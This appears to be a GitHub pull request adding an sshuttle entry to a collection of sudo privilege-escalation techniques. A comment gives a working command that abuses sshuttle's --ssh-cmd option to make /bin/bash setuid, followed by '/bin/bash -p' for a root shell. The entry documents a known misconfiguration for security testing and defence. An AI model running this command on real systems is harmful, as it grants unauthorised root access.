Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Create sshuttle.md #432

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open

Conversation

diego-tella
Copy link
Contributor

@diego-tella diego-tella commented Dec 22, 2023

Privilege escalation in sshuttle.
If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

@diego-tella
Copy link
Contributor Author

Another example:

sudo sshuttle -r root@anything --ssh-cmd "/bin/bash -c 'chmod u+s /bin/bash'" 192.168.3.3
/bin/bash -p

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

1 participant